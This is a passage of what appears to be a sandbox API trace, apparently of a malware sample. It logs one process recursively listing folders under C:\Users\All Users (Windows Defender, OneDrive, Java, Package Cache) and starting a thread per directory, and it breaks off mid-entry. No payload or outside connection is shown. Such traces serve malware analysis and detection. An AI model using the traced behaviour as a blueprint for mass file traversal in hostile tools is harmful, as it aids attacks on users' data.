wcscpy (in: _Dest=0x2fa1220, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.799] wcscat (in: _Dest=0x2fa1220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.799] wcscat (in: _Dest=0x2fa1220, _Source="WDF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WDF") returned="C:\\Users\\All Users\\Microsoft\\WDF" [0168.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa1220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0168.800] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0168.800] wcscmp (_String1="Windows", _String2=".") returned 1 [0168.800] wcscmp (_String1="Windows", _String2="..") returned 1 [0168.800] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0168.800] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0168.800] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0168.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87c98 [0168.800] wcscpy (in: _Dest=0x2f87c98, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.800] wcscat (in: _Dest=0x2f87c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.800] wcscat (in: _Dest=0x2f87c98, _Source="Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0168.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0168.801] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0168.801] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2=".") returned 1 [0168.801] wcscmp (_String1="Windows Defender Advanced Threat Protection", _String2="..") returned 1 [0168.801] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fe3c20 [0168.801] wcscpy (in: _Dest=0x2fe3c20, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.801] wcscat (in: _Dest=0x2fe3c20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.801] wcscat (in: _Dest=0x2fe3c20, _Source="Windows Defender Advanced Threat Protection" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection" [0168.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fe3c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0168.802] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8672f81c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8672f81c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0168.802] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0168.802] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0168.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2faa270 [0168.802] wcscpy (in: _Dest=0x2faa270, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.802] wcscat (in: _Dest=0x2faa270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.802] wcscat (in: _Dest=0x2faa270, _Source="Windows Live" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live") returned="C:\\Users\\All Users\\Microsoft\\Windows Live" [0168.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0168.802] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0168.802] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0168.803] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0168.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f888f0 [0168.803] wcscpy (in: _Dest=0x2f888f0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.803] wcscat (in: _Dest=0x2f888f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.803] wcscat (in: _Dest=0x2f888f0, _Source="Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0168.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f888f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0168.803] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0168.803] wcscmp (_String1="Windows Security Health", _String2=".") returned 1 [0168.803] wcscmp (_String1="Windows Security Health", _String2="..") returned 1 [0168.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x2f96eb8 [0168.804] wcscpy (in: _Dest=0x2f96eb8, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.804] wcscat (in: _Dest=0x2f96eb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.804] wcscat (in: _Dest=0x2f96eb8, _Source="Windows Security Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Security Health") returned="C:\\Users\\All Users\\Microsoft\\Windows Security Health" [0168.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0168.804] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0168.804] wcscmp (_String1="WinMSIPC", _String2=".") returned 1 [0168.804] wcscmp (_String1="WinMSIPC", _String2="..") returned 1 [0168.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f88948 [0168.804] wcscpy (in: _Dest=0x2f88948, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.804] wcscat (in: _Dest=0x2f88948, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.804] wcscat (in: _Dest=0x2f88948, _Source="WinMSIPC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC" [0168.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0168.805] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0168.805] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0168.805] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0168.805] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4a) returned 0x2f88e18 [0168.805] wcscpy (in: _Dest=0x2f88e18, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0168.805] wcscat (in: _Dest=0x2f88e18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0168.805] wcscat (in: _Dest=0x2f88e18, _Source="WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0168.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0168.806] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9c8d8 | out: lpFindFileData=0x2f9c8d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0168.806] FindClose (in: hFindFile=0x2f7fb20 | out: hFindFile=0x2f7fb20) returned 1 [0168.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c8d8) returned 1 [0168.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0168.806] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0168.806] RtlExitUserThread (Status=0x0) Thread: id = 1764 os_tid = 0xe50 [0168.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f68448 [0168.729] wcscpy (in: _Dest=0x2f68448, _Source="C:\\Users\\All Users\\Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive" [0168.729] wcscat (in: _Dest=0x2f68448, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\" [0168.729] wcscat (in: _Dest=0x2f68448, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\*") returned="C:\\Users\\All Users\\Microsoft OneDrive\\*" [0168.729] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b598 [0168.729] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ff20 [0168.730] wcscmp (_String1=".", _String2=".") returned 0 [0168.730] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.730] wcscmp (_String1="..", _String2=".") returned 1 [0168.730] wcscmp (_String1="..", _String2="..") returned 0 [0168.730] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1 [0168.730] wcscmp (_String1="setup", _String2=".") returned 1 [0168.730] wcscmp (_String1="setup", _String2="..") returned 1 [0168.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2faa0f0 [0168.730] wcscpy (in: _Dest=0x2faa0f0, _Source="C:\\Users\\All Users\\Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive" [0168.730] wcscat (in: _Dest=0x2faa0f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\" [0168.730] wcscat (in: _Dest=0x2faa0f0, _Source="setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup" [0168.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2faa0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0168.776] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f9b598 | out: lpFindFileData=0x2f9b598*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0168.776] FindClose (in: hFindFile=0x2f7ff20 | out: hFindFile=0x2f7ff20) returned 1 [0168.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b598) returned 1 [0168.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f68448) returned 1 [0168.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f6a8) returned 1 [0168.777] RtlExitUserThread (Status=0x0) Thread: id = 1765 os_tid = 0xe54 [0168.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f7ffe0 [0168.731] wcscpy (in: _Dest=0x2f7ffe0, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0168.731] wcscat (in: _Dest=0x2f7ffe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\" [0168.731] wcscat (in: _Dest=0x2f7ffe0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\*") returned="C:\\Users\\All Users\\Oracle\\*" [0168.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b330 [0168.731] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f9e0 [0168.731] wcscmp (_String1=".", _String2=".") returned 0 [0168.731] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.731] wcscmp (_String1="..", _String2=".") returned 1 [0168.731] wcscmp (_String1="..", _String2="..") returned 0 [0168.731] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0168.731] wcscmp (_String1="Java", _String2=".") returned 1 [0168.731] wcscmp (_String1="Java", _String2="..") returned 1 [0168.731] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87740 [0168.731] wcscpy (in: _Dest=0x2f87740, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle" [0168.731] wcscat (in: _Dest=0x2f87740, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\" [0168.731] wcscat (in: _Dest=0x2f87740, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0168.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0168.775] FindNextFileW (in: hFindFile=0x2f7f9e0, lpFindFileData=0x2f9b330 | out: lpFindFileData=0x2f9b330*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0168.775] FindClose (in: hFindFile=0x2f7f9e0 | out: hFindFile=0x2f7f9e0) returned 1 [0168.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b330) returned 1 [0168.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7ffe0) returned 1 [0168.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f800a0) returned 1 [0168.775] RtlExitUserThread (Status=0x0) Thread: id = 1766 os_tid = 0xe58 [0168.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x46) returned 0x2fa10e0 [0168.732] wcscpy (in: _Dest=0x2fa10e0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.732] wcscat (in: _Dest=0x2fa10e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.732] wcscat (in: _Dest=0x2fa10e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\*") returned="C:\\Users\\All Users\\Package Cache\\*" [0168.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9b800 [0168.732] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80060 [0168.734] wcscmp (_String1=".", _String2=".") returned 0 [0168.734] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.735] wcscmp (_String1="..", _String2=".") returned 1 [0168.735] wcscmp (_String1="..", _String2="..") returned 0 [0168.735] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0168.735] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1 [0168.735] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1 [0168.735] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e600 [0168.735] wcscpy (in: _Dest=0x2f6e600, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0168.735] wcscat (in: _Dest=0x2f6e600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0168.735] wcscat (in: _Dest=0x2f6e600, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0168.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6e600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8 [0168.758] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x87a42620, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87a42620, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 